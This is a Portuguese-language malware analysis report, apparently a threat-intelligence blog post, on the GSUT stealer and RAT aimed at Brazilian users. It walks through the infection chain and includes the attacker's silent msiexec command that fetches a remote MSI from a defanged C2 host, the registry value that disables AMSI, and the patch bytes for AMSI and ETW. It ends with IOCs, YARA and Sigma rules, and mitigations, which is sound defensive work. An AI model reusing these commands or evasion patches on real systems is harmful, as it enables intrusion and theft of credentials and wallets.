GSUT: novo stealer e RAT modular direcionado a usuários no Brasil

A PurpleHat identificou o GSUT, um framework de roubo de informações e acesso remoto sem documentação pública. A cadeia parte de um arquivo HTA de 435 bytes e termina com plugins carregados em memória que coletam cookies, credenciais e carteiras de criptomoedas, controlam contas do Outlook.com e dão ao operador acesso remoto.

14 de outubro de 2026 · PurpleHat

Principais conclusões

• Em 14 de outubro de 2026, a PurpleHat identificou uma nova família de malware, chamada GSUT por seus autores, que combina roubo de informações e acesso remoto. Até a data desta publicação, não há relatórios públicos sobre a família.
• A infecção começa com um arquivo HTA de 435 bytes, distribuído em um ZIP com nome de cupom, e termina com um runtime Python embarcado que carrega a DLL principal e os plugins diretamente em memória.
• Os plugins coletam cookies e senhas do Chrome, Edge e Brave, com contorno da App-Bound Encryption, além de carteiras de criptomoedas e tokens de sessão da Microsoft.
• Um plugin dedicado usa a sessão do Outlook.com da vítima para coletar contatos e enviar e-mails de campanha a partir da conta comprometida.
• O módulo de acesso remoto é ativado quando o título da janela em primeiro plano corresponde a uma lista definida pelo servidor, comportamento consistente com fraude bancária.
• O painel de operação, o versionamento do loader e o gerador de amostras indicam um produto mantido por uma equipe organizada, possivelmente oferecido como serviço.

Visão geral

Em 14 de outubro de 2026, a PurpleHat analisou a amostra CUPON_8353.zip, que contém o arquivo CUPON_8353.hta. As análises dinâmica e estática revelaram um framework modular de roubo de informações e acesso remoto, identificado pelos próprios autores como GSUT.

A única referência pública relacionada é o pacote npm malicioso @gsutevil/hta-stage, classificado pelo Amazon Inspector e incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote contém uma versão anterior do mesmo loader JScript.

A interface do painel de operação está em português europeu, mas os indicadores de alvo apontam para usuários no Brasil: os modelos de e-mail usam datas no formato brasileiro e o plugin de webmail aceita contas outlook.com.br. A infraestrutura é recente. O domínio do C2 foi registrado em 6 de outubro de 2026, e os plugins foram compilados entre 29 de setembro e 13 de outubro de 2026.

Cadeia de infecção

A Figura 1 resume a cadeia de infecção, do arquivo ZIP inicial até a execução dos plugins em memória.

1. O usuário extrai CUPON_8353.zip e executa CUPON_8353.hta.
2. O mshta.exe é redirecionado para hxxps://nwinterprise[.]it[.]com/v1/hta/app, que retorna uma segunda HTA com código JScript.
3. A segunda HTA baixa e executa /v1/hta/stage.js. O script desativa o AMSI do Windows Script Host, solicita um token ao servidor e executa msiexec /i hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token> /qn.
4. O pacote MSI, de 28 MB, instala um runtime Python embarcado e executa bootstrap.py. O script decifra core.dat, cifra o conteúdo novamente com uma chave derivada de atributos da máquina, estabelece persistência em %LOCALAPPDATA%\r<hex>\p<hex>\ e remove os artefatos da instalação.
5. O supervisor, executado por pythonw.exe, carrega core.dll no próprio processo e chama a exportação gsut_core_run.
6. O core realiza o inventário do sistema, configura a persistência, reporta ao C2 hub.appwebaxi[.]com e executa em memória os plugins enviados pelo servidor.

Estágio 1: HTA e loader JScript

O arquivo ZIP contém três arquivos: CUPON_8353.hta e dois arquivos de fachada no diretório __/. O arquivo README_7607e8.txt traz o texto "Setup Helper — Extract and open the .hta to continue. Build 7607e8", e o pkg_7607e8.xml declara <Vendor>GSUT Lab</Vendor>. Os timestamps dos arquivos coincidem com o minuto do download, o que indica que o servidor gera o ZIP a cada requisição.

A HTA inicial tem 435 bytes e não contém lógica maliciosa própria. Ela abre uma janela de 1×1 pixel, minimizada e oculta da barra de tarefas, e executa um meta refresh para hxxps://nwinterprise[.]it[.]com/v1/hta/app. Essa URL entrega uma segunda HTA, cujo código JScript:

1. encerra a execução se existir o arquivo Documentos\gsut.once.tmp ou Documentos\gsut.install.tmp, usados como marcadores de execução única;
2. define a variável window.__gsutBases com a lista de servidores;
3. baixa /v1/hta/stage.js por meio de MSXML2.ServerXMLHTTP, com o User-Agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; mshta), e injeta o conteúdo como um novo elemento <script>.

A HTA também contém a função bootNpm(npm), que obtém o stage.js de uma URL alternativa. Nesta amostra, a variável correspondente estava vazia. A relação com o npm é detalhada mais adiante.

O stage.js, de 16 KB, recebe uma ofuscação diferente a cada build, com nomes de funções aleatórios e strings cifradas com XOR em até duas camadas. Após a decodificação, o script:

• grava AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings, primeiro com WScript.Shell.RegWrite e depois com o método WMI StdRegProv.SetDWORDValue;
• reconstrói os nomes EtwEventWrite*, GetProcAddress e VirtualProtect, sem aplicar patch. Um comentário no código registra a limitação do JScript: "Native VirtualProtect is out of scope; soft-fail only";
• aguarda entre 63 e 148 ms em um laço de espera ativa;
• envia o nome do computador e do usuário para POST /v1/hta/msi-token e recebe um token. A resposta é avaliada com o construtor Function, o que permite ao servidor executar JScript arbitrário nessa etapa;
• reporta cada fase (loader, msiexec, installed) para POST /v1/hta/event, com nome da máquina, usuário e código de saída;
• executa msiexec /i "hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token>" /qn /norestart REBOOT=ReallySuppress. Se WScript.Shell.Run falhar, recorre a Shell.Application.ShellExecute e, em seguida, a wmic process call create.

O código também chama funções opcionais (__gsutStep, __gsutInstallBegin, __gsutInstallEnd e __gsutHtaSkin === "bb") com as etapas cdn, folder, ps1, write e install. Esses ganchos indicam que o construtor pode gerar HTAs com telas falsas de instalação em diferentes temas visuais. Na amostra analisada, a janela permaneceu invisível.

Estágio 2: instalador MSI e bootstrap Python

O guest.msi (28 MB) instala em %LOCALAPPDATA%\la785d2bf\ca785d2bf44\ a distribuição oficial do Python embarcado (python-embed), a biblioteca unseal.dll, o arquivo cifrado core.dat e o script bootstrap.py. Uma custom action do MSI executa o bootstrap. O cabeçalho do script indica que ele é gerado pelo comando gsut-cli builder guest-msi.

O bootstrap executa as seguintes etapas:

1. Desativação do AMSI e do ETW. O script aplica patches em amsi.dll!AmsiScanBuffer (31 C0 05 57 00 07 80 C3, que retorna E_INVALIDARG) e em ntdll.dll!EtwEventWrite (2B C0 C3, que retorna 0). Os nomes das funções e os bytes dos patches são cifrados com XOR e variam a cada build.
2. Decifragem do core.dat. A função unseal.dll!gsut_unseal_file recebe uma chave de 32 bytes armazenada como dois valores combinados por XOR. O resultado é o arquivo _payload.zip.
3. Vinculação à máquina. O script deriva uma nova chave com SHA-256 a partir de "gsut-core-dat-env-v1\n", do COMPUTERNAME, do número de série do volume e do MachineGuid, e cifra o payload novamente. A configuração do C2 (guest.json) também é protegida com XChaCha20-Poly1305. Um core.dat copiado para outra máquina não pode ser decifrado.
4. Persistência em caminho aleatório. Os arquivos são copiados para %LOCALAPPDATA%\r<8 hex>\p<8 hex>\ e renomeados com oito caracteres hexadecimais aleatórios. Os arquivos start.py, core.dll e core.dat passam a ter nomes como 3fa1c09e.py. O arquivo .dat recebe os atributos oculto e de sistema, e um arquivo <stem>.1 armazena o mapeamento de nomes.
5. Remoção de artefatos. O script exclui bootstrap.py, unseal.dll, hostgate.exe e o ZIP intermediário. Um processo pythonw independente aguarda 8 segundos e remove o diretório de instalação do MSI. Em caso de falha durante o processo, o bootstrap exclui todo o diretório de persistência.

Em seguida, o supervisor (originalmente start.py) é executado com pythonw.exe -B, sem janela. O componente:

• interrompe a execução quando roda sob a conta SYSTEM ou sob Wine, quando o sistema tem menos de 768 MB de RAM, quando encontra variáveis de ambiente de CI (CI, GITHUB_ACTIONS, GITLAB_CI, TF_BUILD, JENKINS_URL) ou quando detecta SbieDll.dll, cmdvrt32.dll, sxin.dll, Sf2.dll ou snxhk.dll no System32;
• cria o mutex Local\GSUTSupervisor;
• carrega core.dll no próprio processo e chama a exportação gsut_core_run em uma thread separada.

Os plugins nunca são gravados em disco. Eles ficam em um catálogo dentro do core.dat, e o script plugin_host.py os recebe pela entrada padrão e chama gsut_plugin_host_run para carregá-los em memória.

O código Python contém docstrings detalhadas, com referências a registros internos de decisão de arquitetura ("ADR 0031", "ADR 0054 / v2.46"), a tickets ("fix-042", "task-534") e a um "lab harness". Esses elementos indicam um projeto com controle de versão, testes e processo de desenvolvimento estruturado.

Core e plugins

O core.dll (6,1 MB) é um executável PE x64 compilado com MinGW-w64 (GCC 13), com OpenSSL vinculado estaticamente. Segundo o próprio código, a execução segue a ordem probe, persist-evade, relatório ao C2 e "recipe". A recipe é a lista de plugins que o servidor determina para cada máquina. Cada plugin exporta gsut_plugin_run e retorna JSON em um formato versionado (gsut.cookies.v1, gsut.creds.v1, gsut.files.v1, gsut.webmail.v1).

Tabela 1. Plugins do catálogo armazenado em core.dat.

O plugin de webmail é o componente menos comum da família. Ele embute código Python com funções como fetch_people, mint_access, create_item_body(to, name, subject, html, attachment_name, attachment, bcc) e data_pt_br(). Com ele, cada máquina infectada passa a enviar phishing de uma conta legítima para contatos reais da vítima. Avaliamos com baixa confiança que o próprio CUPON_8353.zip tenha sido distribuído dessa forma.

Comunicação com o C2

A configuração de comunicação está no guest.json decifrado. O canal principal é um WebSocket em wss://hub.appwebaxi[.]com/v1/guest, com TLS 1.3 como versão mínima e certificate pinning pelo hash da chave pública (SPKI Wm/Q2QEm/3XPf2Dmy6djoHFebMJ209ffzaQaxZBzeTs=). Proxies com inspeção TLS interrompem a conexão. Sem um pin configurado, o remote.dll não envia a mensagem HELLO.

Tabela 2. Endpoints do C2 definidos em guest.json.

As requisições incluem o cabeçalho X-Fleet-Token com um token fixo por campanha (1bdfe245…edc17, parcialmente omitido). Os dados exfiltrados são cifrados com XChaCha20-Poly1305 sobre o TLS, com chaves derivadas por HKDF-SHA256 a partir de rótulos como gsut-v1/link-c2s, gsut-v1/link-s2c, gsut-v1/room-wrap e gsut-v1/guest-identity. As atualizações são verificadas com assinaturas Ed25519 (update_crypto.py) em um formato canônico que, segundo um comentário no código, replica internal/application/guestupdate/canonical.go do servidor escrito em Go.

O painel tem ainda uma tela de bloqueios com os motivos country_blocked, locale_blocked, hostname_blocked e windows_user_blocked, que permite ao operador recusar vítimas por país, idioma, nome de máquina ou nome de usuário. Essa filtragem ocorre no servidor e não pode ser observada apenas pela análise do binário.

Infraestrutura e painel de operação

A operação usa dois domínios e três endereços IP, todos configurados nas semanas anteriores à análise.

Tabela 3. Infraestrutura da operação.

O endereço hxxps://199.91.221[.]57/login, servido pelo mesmo host de hub.appwebaxi[.]com e com certificado cujo SPKI corresponde ao pin do guest.json, hospeda um painel React/Vite com o título "GSUT" e o rodapé "© 2026 GSUT". A coleta limitou-se a requisições GET à página pública de login e aos arquivos JavaScript carregados por ela, sem tentativa de autenticação.

Os módulos referenciados no código do painel descrevem o produto completo: Frota (máquinas infectadas), Instalações, Sessões (acesso remoto), Cookies, Credenciais ("Emails e senha"), Carteiras, Ficheiros, Emails (modelos de campanha), Sites ("Títulos da janela", os gatilhos do acesso remoto), Bloqueios, Catálogo de plugins e Gerador (construtor de amostras), além de Admins, perfis de Operador, Audit e Configurações. A tela de administradores lista os clientes gsut-cli e gsut-mcp. O segundo nome sugere integração com agentes de IA por meio do Model Context Protocol.

A interface usa português europeu, com termos como "utilizador", "ficheiro", "ligação", "guardar" e "a carregar". Os indicadores de alvo, no entanto, apontam para o Brasil: os modelos de e-mail usam a variável {{data_pt_br}}, o plugin de webmail aceita domínios outlook.com.br e a isca é um "CUPON".

O endereço configurado por padrão para receber dados do webmail é r0lab[@]proton[.]me. A imagem de fundo da tela de login é uma fotografia de banco de imagens (Yaowarat, Bangkok), sem metadados EXIF.

Relação com o pacote npm @gsutevil/hta-stage

O único registro público associado ao GSUT é o pacote npm @gsutevil/hta-stage, versão 1.62.0. O Amazon Inspector classificou o pacote como malicioso, e ele foi incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote já foi removido do registro npm.

O pacote continha o arquivo dist/stage.js (SHA-256 b3ce9de41e247304592ca4e9df085d94055bb2bfee35c72e91795e39723c11a7). De acordo com a descrição publicada pelo Amazon Inspector, o comportamento é equivalente ao do stage.js analisado pela PurpleHat (Tabela 4).

Tabela 4. Comparação entre o stage.js do pacote npm e o da amostra analisada.

Os hashes diferem porque o construtor gera um novo stage.js a cada build. A função bootNpm() presente na HTA permite obter o loader de uma URL alternativa. Avaliamos com confiança moderada que o operador publica o stage.js no npm para distribuí-lo por CDNs públicas como unpkg e jsDelivr, cujo tráfego tende a ser tratado como legítimo por proxies corporativos.

O registro também ajuda a datar a operação: o loader já estava na versão 1.62.0 em 22 de setembro, semanas antes do registro do domínio atual do C2. O escopo gsutevil provavelmente corresponde a um apelido do desenvolvedor.

Avaliação

Até a data desta publicação, o GSUT não tem documentação pública. A pesquisa por domínios, endereços IP, strings, endereço de e-mail e caminho de build em mecanismos de busca, no urlscan.io e no crt.sh não retornou resultados além do registro do npm.

O C2 é escrito em Go (caminho de build es-guests_win-server_golang-operador_golang), o cliente em C com MinGW e o loader em Python. As referências a ADRs, tickets, testes e ambiente de laboratório, somadas à versão 1.62.0 do loader em setembro, indicam desenvolvimento contínuo por uma equipe com práticas de engenharia de software.

O painel inclui administradores, operadores, trilha de auditoria, gerador de amostras e os clientes gsut-cli e gsut-mcp. Essa estrutura é compatível tanto com a operação de um único grupo quanto com um kit comercializado como serviço (MaaS), e as evidências disponíveis não permitem distinguir entre as duas hipóteses. O uso de português europeu na interface, com alvos no Brasil, também não é suficiente para atribuir a nacionalidade dos desenvolvedores.

A combinação de roubo de sessões, credenciais e carteiras com acesso remoto acionado pelo título da janela é consistente com fraude bancária. A propagação pela conta de e-mail da vítima amplia o alcance da campanha sem exigir infraestrutura própria de envio.

Cada build gera nomes de arquivo, hashes e chaves diferentes, e o payload só pode ser decifrado na máquina em que foi instalado. Por isso, a detecção baseada em comportamento é mais eficaz do que a busca por hashes.

Limitações

• Na sandbox da PurpleHat, baseada em uma versão do CAPEv2 modificada pela nossa equipe, o supervisor encerrou a execução cerca de 1 segundo após a injeção do monitor. Não houve tráfego observado com o C2, e as etapas finais foram analisadas de forma estática.
• A lista de títulos de janela que aciona o acesso remoto é fornecida pelo servidor e não foi obtida.
• O vetor de entrega inicial (anexo ou link em e-mail) não foi confirmado.

Detecção e caça

Como nomes de arquivo e hashes variam a cada build, recomendamos priorizar os seguintes comportamentos:

• Execução de mshta.exe com uma HTA que faz meta refresh para uma URL HTTPS, seguida de msiexec /i https://…/guest.msi?t=… /qn.
• Gravação de AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings, ação rara em software legítimo.
• Presença dos arquivos %USERPROFILE%\Documents\gsut.once.tmp, gsut.install.tmp e %TEMP%\gsut-bootstrap-err.txt.
• pythonw.exe executado a partir de %LOCALAPPDATA%\r[0-9a-f]{8}\p[0-9a-f]{8}\python-embed\ com um script .py de oito caracteres hexadecimais, além de chave Run ou atalho .lnk apontando para esse caminho.
• Mutexes Local\GSUTSupervisor e Local\GSUTRemote.
• Chrome, Edge ou Brave iniciados por pythonw.exe com --user-data-dir próprio, e o diretório C:\Temp\gsut_abe.
• Em serviços de nuvem, uso de refresh token do Outlook.com a partir de um endereço IP novo, seguido de envio em massa com destinatários em cópia oculta.

As regras YARA e Sigma estão na seção Regras de detecção.

Recomendações

Organizações

• Bloquear a execução de mshta.exe por meio de AppLocker ou WDAC, ou associar a extensão .hta a um editor de texto.
• Impedir que usuários sem privilégios administrativos executem msiexec com URLs remotas.
• Gerar alertas para pythonw.exe executado a partir de %LOCALAPPDATA%.
• Monitorar a gravação de AmsiEnable = 0 em HKCU\Software\Microsoft\Windows Script\Settings.
• Bloquear no proxy e no DNS os domínios e endereços IP listados na Tabela 5.
• Avaliar a necessidade de acesso a CDNs de pacotes npm, como unpkg e jsDelivr, em estações que não são usadas para desenvolvimento.

Usuários afetados

• Isolar a máquina da rede e tratá-la como comprometida, já que o operador tem acesso remoto completo. A reinstalação do sistema operacional é a opção mais segura.
• Alterar, a partir de outro dispositivo, as senhas armazenadas nos navegadores, com prioridade para contas de e-mail e bancárias.
• Encerrar todas as sessões ativas da conta Microsoft. A troca de senha nem sempre invalida cookies e tokens já coletados.
• Ativar a autenticação em dois fatores nas contas principais.
• Verificar a pasta Itens Enviados do Outlook e informar os contatos caso existam mensagens não reconhecidas.
• Transferir os fundos de carteiras MetaMask, Exodus, Electrum ou Atomic para novas carteiras, criadas em um dispositivo limpo e com uma nova frase de recuperação.

Indicadores de comprometimento

Domínios, endereços IP, URLs e e-mails estão neutralizados ([.], hxxps, [@]).

Rede

Tabela 5. Indicadores de rede.

Hashes de arquivos (SHA-256)

Tabela 6. Hashes de arquivos.

Artefatos no host

Tabela 7. Artefatos no host.

Regras de detecção

YARA

rule GSUT_Framework_Components
{
  meta:
    description = "GSUT stealer/RAT: core, plugins e loader Python"
    author = "PurpleHat"
    date = "2026-10-14"
    reference = "https://purplehat.ai/blog/gsut-stealer-rat-brasil/"
    hash1 = "7fbd125153f39de96df9339303f450f7d654513ae69e081d87aa20c1443538bd"
    hash2 = "1fa2726326554f4fdec19ddc0601765f1b714ea3345a4e0ccccaefc6bcf536ac"
  strings:
    $a1 = "gsut_core_run" ascii
    $a2 = "gsut_plugin_run" ascii
    $a3 = "gsut_plugin_host_run" ascii
    $a4 = "gsut-core-dat-env-v1" ascii
    $a5 = "Local\\GSUTSupervisor" ascii wide
    $a6 = "Local\\GSUTRemote" ascii wide
    $a7 = "GSUTABE1" ascii
    $a8 = "gsut_unseal_file" ascii
  condition:
    filesize < 10MB and 2 of them
}

A regra cobre o core.dll, os plugins, a unseal.dll e os scripts Python. O caminho de build do servidor em Go não foi incluído, pois não aparece necessariamente nos binários do cliente. Recomendamos validar a regra contra um conjunto de arquivos legítimos antes do uso em produção.

Sigma

title: GSUT - AMSI do Windows Script Host desligado via registro
id: a3151162-12ba-4dbe-984e-a326eddd8053
status: experimental
description: Escrita de AmsiEnable = 0, usada pelo stage.js do GSUT para desligar o AMSI do Windows Script Host.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.defense-evasion
  - attack.t1562.001
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|endswith: '\Software\Microsoft\Windows Script\Settings\AmsiEnable'
    Details: 'DWORD (0x00000000)'
  condition: selection
falsepositives:
  - Raros
level: high
---
title: GSUT - msiexec instala MSI remoto em modo silencioso
id: d7e82787-c79b-41e0-a656-e52f338390cd
status: experimental
description: msiexec instalando um MSI a partir de URL sem interface, como faz o stage.js do GSUT.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.defense-evasion
  - attack.t1218.007
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\msiexec.exe'
  selection_cli:
    CommandLine|contains|all:
      - '/i'
      - 'http'
      - '/qn'
  selection_gsut:
    CommandLine|contains: 'guest.msi?t='
  condition: selection_img and (selection_cli or selection_gsut)
falsepositives:
  - Ferramentas de gestão que instalam pacotes a partir de URL
level: medium
---
title: GSUT - pythonw.exe executado de diretório aleatório em LOCALAPPDATA
id: 3f30f02a-937e-4e7c-bf4c-f8c43fcf09a5
status: experimental
description: Supervisor do GSUT rodando a partir do caminho de persistência r<8 hex>\p<8 hex>.
author: PurpleHat
date: 2026-10-14
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\pythonw.exe'
    Image|re: '(?i)\\AppData\\Local\\r[0-9a-f]{8}\\p[0-9a-f]{8}\\'
  condition: selection
falsepositives:
  - Improváveis
level: high

MITRE ATT&CK

Tabela 8. Mapeamento para o MITRE ATT&CK.

Referências

• OSV MAL-2026-16419: Malicious code in @gsutevil/hta-stage (npm)
• ossf/malicious-packages: registro MAL-2026-16419 com a descrição do Amazon Inspector
• Análise dinâmica na sandbox da PurpleHat (CAPEv2 com modificações próprias) e análise estática dos artefatos, 14 de outubro de 2026.

Para compartilhar amostras relacionadas ao GSUT ou solicitar apoio em resposta a incidentes, entre em contato pelo e-mail contato@purplehat.ai.

As informações desta publicação destinam-se a detecção, caça e resposta a incidentes. Os indicadores refletem as observações da PurpleHat até 14 de outubro de 2026 e podem mudar. A PurpleHat não se responsabiliza pelo uso indevido destas informações. Marcas e nomes de terceiros são citados apenas para fins de identificação.